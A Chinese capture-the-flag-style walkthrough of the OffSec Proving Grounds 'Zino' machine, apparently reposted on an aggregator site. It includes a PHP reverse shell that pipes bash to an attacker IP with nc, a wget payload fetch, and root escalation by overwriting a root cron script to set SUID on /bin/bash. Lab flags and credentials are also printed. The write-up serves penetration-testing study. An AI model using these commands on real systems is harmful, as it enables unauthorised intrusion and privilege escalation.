OSCP - Proving Grounds - Zino

主要知识点

  • SMB知识
  • python脚本提权

具体步骤

执行nmap

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-10 01:24 UTC
Nmap scan report for 192.168.52.64
Host is up (0.00077s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 b2:66:75:50:1b:18:f5:e9:9f:db:2c:d4:e3:95:7a:44 (RSA)
|   256 91:2d:26:f1:ba:af:d1:8b:69:8f:81:4a:32:af:9c:77 (ECDSA)
|_  256 ec:6f:df:8b:ce:19:13:8a:52:57:3e:72:a3:14:6f:40 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open  mysql?
| fingerprint-strings: 
|   JavaRMI, NULL, RTSPRequest: 
|_    Host '192.168.49.52' is not allowed to connect to this MariaDB server
8003/tcp open  http        Apache httpd 2.4.38
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2019-02-05 21:02  booked/
|_
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Index of /

访问 http://192.168.231.64:8003/booked/,得到一个Booked Scheduler v2.7.5

经过调查，该版本具有RCE漏洞，采用下面这个exp，但是我们没有密码，需要继续调查GitHub - F-Masood/Booked-Scheduler-2.7.5---RCE-Without-MSF: Exploiting Booked Scheduler 2.7.5 - RCE without MSF.

尝试smbclient，发现支持匿名登录

C:\home\kali\Documents\OFFSEC\GoToWork\Zino> smbclient -L 192.168.231.64        
Password for [WORKGROUP\kali]:Sharename       Type      Comment---------       ----      -------zino            Disk      Logsprint$          Disk      Printer DriversIPC$            IPC       IPC Service (Samba 4.9.5-Debian)
Reconnecting with SMB1 for workgroup listing.Server               Comment---------            -------Workgroup            Master---------            -------WORKGROUP

所以继续尝试，下载zino路径下的文件

C:\home\kali\Documents\OFFSEC\GoToWork\Zino> smbclient //192.168.231.64/zino -N        
Try "help" to get a list of possible commands.
smb: \> dir.                                   D        0  Thu Jul  9 15:11:49 2020..                                  D        0  Tue Apr 28 09:38:53 2020.bash_history                       H        0  Tue Apr 28 11:35:28 2020error.log                           N      265  Tue Apr 28 10:07:32 2020.bash_logout                        H      220  Tue Apr 28 09:38:53 2020local.txt                           N       33  Wed Oct  9 22:51:18 2024.bashrc                             H     3526  Tue Apr 28 09:38:53 2020.gnupg                             DH        0  Tue Apr 28 10:17:02 2020.profile                            H      807  Tue Apr 28 09:38:53 2020misc.log                            N      424  Tue Apr 28 10:08:15 2020auth.log                            N      368  Tue Apr 28 10:07:54 2020access.log                          N     5464  Tue Apr 28 10:07:09 2020ftp                                 D        0  Tue Apr 28 10:12:56 2020

其中msic.log文件中发现admin/adminadmin credential，

C:\home\kali\Documents\OFFSEC\GoToWork\Zino> cat misc.log 
Apr 28 08:39:01 zino systemd[1]: Starting Clean php session files...
Apr 28 08:39:01 zino CRON[2791]: (CRON) info (No MTA installed, discarding output)
Apr 28 08:39:01 zino systemd[1]: phpsessionclean.service: Succeeded.
Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.
Apr 28 08:39:01 zino systemd[1]: Set application username "admin"
Apr 28 08:39:01 zino systemd[1]: Set application password "adminadmin"

用来尝试登录bookscheduler,成功,按照exp的描述，首先创建一个php reverse shell

C:\home\kali\Documents\OFFSEC\GoToWork\Zino> cat rev.php                                        
<?php echo (shell_exec("rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.45.170 8003 >/tmp/f")); ?>

并上传

在本地启动nc -nlvp 8003后访问 http://192.168.231.64:8003/booked/Web/custom-favicon.php得到reverse shell

C:\home\kali\Documents\OFFSEC\GoToWork\Zino> nc -nlvp 8003
listening on [any] 8003 ...
connect to [192.168.45.170] from (UNKNOWN) [192.168.231.64] 43952
bash: cannot set terminal process group (543): Inappropriate ioctl for device
bash: no job control in this shell
www-data@zino:/var/www/html/booked/Web$ ls -l
ls -l
total 236

在本地启动python server，上传linpeas.sh后并执行

C:\home\kali\Documents\OFFSEC\GoToWork\Zino> python -m http.server 3306
Serving HTTP on 0.0.0.0 port 3306 (http://0.0.0.0:3306/) ...

发现cron job定期以root身份执行 cleanup.py

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/3 *   * * *   root    python /var/www/html/booked/cleanup.py

并且www-data用户具有写权限

www-data@zino:/var/www/html/booked/Web$ cd /var/www/html/booked/
cd /var/www/html/booked/
www-data@zino:/var/www/html/booked$ ls -lrt
ls -lrt
total 420
-rw-rw-rw-  1 www-data www-data 260290 Feb  5  2019 cacert.pem
......
......
drwxrwxrwx 21 www-data www-data   4096 Feb  5  2019 tpl
drwxrwxrwx  8 www-data www-data   4096 Feb  5  2019 plugins
-rwxrwxrwx  1 www-data www-data    164 Apr 28  2020 cleanup.py
......
......

在本地创建cleanup.py，包含如下内容
 

#!/usr/bin/env python
import os
import sys
try:os.system('chmod +s /bin/bash ')
except:print 'ERROR...'
sys.exit(0)

并上传至 remote server上的/var/www/html/booked/路径下 覆盖同名文件后获得root权限

www-data@zino:/var/www/html/booked$ wget 192.168.45.170:3306/cleanup.py -O cleanup.py
<$ wget 192.168.45.170:3306/cleanup.py -O cleanup.py
--2024-10-10 00:38:29--  http://192.168.45.170:3306/cleanup.py
Connecting to 192.168.45.170:3306... connected.
HTTP request sent, awaiting response... 200 OK
Length: 135 [text/x-python]
Saving to: 'cleanup.py'0K                                                       100% 33.7M=0s2024-10-10 00:38:30 (33.7 MB/s) - 'cleanup.py' saved [135/135]
www-data@zino:/var/www/html/booked$ chmod +x cleanup.py
chmod +x cleanup.py
www-data@zino:/var/www/html/booked$ ls -l /bin/bash
ls -l /bin/bash
-rwxr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
www-data@zino:/var/www/html/booked$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
www-data@zino:/var/www/html/booked$ /bin/bash -p
/bin/bash -p
cat /root/proof.txt
837cb6c08291148e42c89ef029e3119a
cat /home/peter/local.txt
4a8e18206f2f4d55df963b6c2b83138c

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/diannao/63433.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

JDK8新特性之Stream流03

JDK8新特性之Stream流03

收集Stream流中的结果 IntStream intStream = Stream.of(1, 2, 3, 4, 5).mapToInt(Integer::intValue); intStream.filter(n -> n > 3).forEach(System.out::println); intStream.filter(n -> n > 3).count; intStream.filter(n -> n > 3).reduce(0, Integer…
阅读更多...
自制shell命令行解释器，深入理解Linux系统命令行实现原理

自制shell命令行解释器，深入理解Linux系统命令行实现原理

个人主页&#xff1a;敲上瘾-CSDN博客 个人专栏&#xff1a;Linux学习、游戏、数据结构、c语言基础、c学习、算法 目录 ​编辑 1.打印命令提示符 ​编辑 2.获取用户输入指令 3.重定向分析 4.命令行参数表与环境变量表 5.命令解析 6.命令执行 6.1.创建子进程 6.2.文件…
阅读更多...
ADB常用各模块操作命令

ADB常用各模块操作命令

目录 1. 基本设备信息获取 2. 设备连接与管理 3. 文件管理 4. 进程与应用管理 5. 日志与调试 6. 调试和性能 7. 设备操作 8.adb命令的应用场景 1. 基本设备信息获取 获取设备的系统版本&#xff0c;获取设备安卓版本号&#xff1a; adb shell getprop ro.build.version.…
阅读更多...
Mac M1 安装数据库

Mac M1 安装数据库

1. Docker下载 由于Sqlserver和达梦等数据库&#xff0c;不支持M系列的芯片&#xff0c;所以我们通过docker安装 下载并安装docker: https://www.docker.com/get-started/ 安装完成后&#xff0c;打开docker 2. SQL Server 安装 2.1 安装 打开终端&#xff0c;执行命令 doc…
阅读更多...
渗透测试实验环境搭建

渗透测试实验环境搭建

下载虚拟机镜像 5个虚拟机镜像&#xff0c;其中Linux攻击机我选择用最新的kali Linux镜像&#xff0c;其余的均使用本书配套的镜像。 网络环境配置 VMware虚拟网络编辑器配置&#xff1a; 将VMnet1和VMnet8分别设置IP为192.168.10.0/24和10.10.10.0/24。 虚拟机镜像配置 攻击机…
阅读更多...
Linux shell脚本(一)

Linux shell脚本(一)

监控内存和磁盘容量&#xff0c;小于给定值时报警 [rootlinux-lyz test1]# ./monitor.sh & [1] 23110 # 提取根分区剩余空间 disk_size$(df / | awk /\//{print $4})# 提取内存剩余空间 mem_size$(free | awk /Mem/{print $4}) while : do # 注意内存和磁盘提取空间大小都…
阅读更多...
C# 中 Interface（接口）和 virtual（虚方法）

C# 中 Interface（接口）和 virtual（虚方法）

文章目录 前言一、Interface&#xff08;接口&#xff09;1. 什么是接口2. 接口的定义3. 实现接口4. 接口的作用 二、virtual&#xff08;虚方法&#xff09;1. 什么是虚方法2. 虚方法的定义3. 重写虚方法4. 虚方法的作用 三、Interface 和 virtual 的结合使用1. 接口中的虚方法…
阅读更多...
JWT 在 SaaS 系统中的作用与分布式 SaaS 系统设计的最佳实践

JWT 在 SaaS 系统中的作用与分布式 SaaS 系统设计的最佳实践

在现代 SaaS&#xff08;软件即服务&#xff09; 系统中&#xff0c;随着服务规模的扩大和用户需求的多样化&#xff0c;如何高效、安全地进行用户身份验证、权限控制以及租户隔离&#xff0c;成为了系统架构中的核心问题之一。**JWT&#xff08;JSON Web Token&#xff09;**作…
阅读更多...
《智能体雏形开发（高阶实操）》二、智能体雏形开发

《智能体雏形开发（高阶实操）》二、智能体雏形开发

基于阿里云百炼平台开发智能体应用：生成日报与周报 在智能体开发中，生成结构化的日报与周报是一个典型的任务。本篇文章将基于阿里云百炼平台，结合 Python 开发环境，介绍如何开发一个从日志文件提取信息并生成摘要的智能体。我们将从需求分析、任务设计到核心功能实现逐步…
阅读更多...
阿里云ECS服务器域名解析

阿里云ECS服务器域名解析

阿里云ECS服务器域名解析&#xff0c;以前添加两条A记录类型&#xff0c;主机记录分别为www和&#xff0c;这2条记录都解析到服务器IP地址。 1.进入阿里云域名控制台&#xff0c;找到域名 ->“解析设置”->“添加记录” 2.添加一条记录类型为A,主机记录为www&#xff0c…
阅读更多...
Scala的正则表达式（1）

Scala的正则表达式（1）

package hfd //正则表达式的应用场景 //1.查找 findAllin //2.验证 matches //3.替换//验证用户名十分合法 //规则&#xff1a; //1.长度在6-12之间 //2.不能数字开头 //3.只能包含数字&#xff0c;大小写字母&#xff0c;下划线 object Test36 {def main(args: Array[String])…
阅读更多...
网络知识：IP数据报知识详解

网络知识：IP数据报知识详解

目录 一、IP数据报概念 二、IPV4数据报报头组成 三、IPV6数据报报头组成 今天给大家分享IP数据库相关的知识，希望对大家进一步了解IP协议提供一些帮助！ 一、IP数据报概念 TCP/IP协议的网际层接收到传输层传递过来的数据单元，封装成向下（OSI模型的数据链路层、TCP/IP协…
阅读更多...
Android 因为混淆文件配置,打release包提示running R8问题处理

Android 因为混淆文件配置,打release包提示running R8问题处理

一、报错信息 Missing classes detected while running R8. Please add the missing classes or apply additional keep rules that are generated in E:\workplace\xxxxxx\app\build\outputs\mapping\release\missing_rules.txt. Missing class org.mediakit.R$layout (refer…
阅读更多...
【中断】向量中断、中断服务程序、中断向量、中断向量表、中断向量地址，之间的关系

【中断】向量中断、中断服务程序、中断向量、中断向量表、中断向量地址，之间的关系

向量中断&#xff1a; 一种识别中断源的方式和技术。 中断服务程序&#xff1a; 不同的中断信号&#xff0c;需要用不同的 中断处理程序&#xff08;中断服务程序&#xff09; 来处理。中断服务程序一般是OS模块。 中断向量&#xff1a; 由向量地址形成部件&#xff0c;是…
阅读更多...
蓝桥杯刷题日记02-小球反弹

蓝桥杯刷题日记02-小球反弹

问题描述 有一长方形&#xff0c;长为 343720343720 单位长度&#xff0c;宽为 233333233333 单位长度。在其内部左上角顶点有一小球 (无视其体积)&#xff0c;其初速度如图所示且保持运动速率不变&#xff0c;分解到长宽两个方向上的速率之比为 dx:dy15:17dx:dy15:17。小球碰…
阅读更多...
SWIRL：有望成为2025年顶级AI搜索引擎

SWIRL：有望成为2025年顶级AI搜索引擎

现在几乎每家公司都会有内部文档系统&#xff0c;如阿里的语雀、钉钉&#xff0c;字节的飞书&#xff0c;Confluence&#xff0c;印象笔记等等都可以提供给B端在局域网部署。因此&#xff0c;如果能把搜索功能做得高效&#xff0c;就能提高自家产品的竞争力。 想象一下&#xf…
阅读更多...
【源码】Sharding-JDBC源码分析之SQL中读写分离动态策略、数据库发现规则及DatabaseDiscoverySQLRouter路由的原理

【源码】Sharding-JDBC源码分析之SQL中读写分离动态策略、数据库发现规则及DatabaseDiscoverySQLRouter路由的原理

Sharding-JDBC系列 1、Sharding-JDBC分库分表的基本使用 2、Sharding-JDBC分库分表之SpringBoot分片策略 3、Sharding-JDBC分库分表之SpringBoot主从配置 4、SpringBoot集成Sharding-JDBC-5.3.0分库分表 5、SpringBoot集成Sharding-JDBC-5.3.0实现按月动态建表分表 6、【…
阅读更多...
2024 数学建模国一经验分享

2024 数学建模国一经验分享

2024 数学建模国一经验分享 背景&#xff1a;武汉某211&#xff0c;专业&#xff1a;计算机科学 心血来潮&#xff0c;就从学习和组队两个方面指点下后来者&#xff0c;帮新人避坑吧 2024年我在数学建模比赛中获得了国一&#xff08;教练说论文的分数是湖北省B组第一&#xff0…
阅读更多...
可视化数据分析系统：提升企业决策效率的重要工具

可视化数据分析系统：提升企业决策效率的重要工具

作为数字化时代的企业&#xff0c;数据的重要性对于当今企业来说不言而喻。有效的针对企业内部数据进行深度分析就成为了目前企业面临的关键所在。可视化数据分析系统因此就在这样的背景之下出现的&#xff0c;通过直观清晰的数据展示&#xff0c;可以帮助企业管理层快速提高决…
阅读更多...
XML与HTML的区别汇总

XML与HTML的区别汇总

XML的基本格式规则 主要规则&#xff1a; XML文档必须格式良好(well-formed)所有标签必须关闭标签名称区分大小写HTML内容需要转义属性值必须使用引号不能有交叉嵌套 XML声明&#xff08;可选但推荐&#xff09;&#xff1a; <?xml version"1.0" encoding&quo…
阅读更多...
最新文章

Copyright @ 2022~2023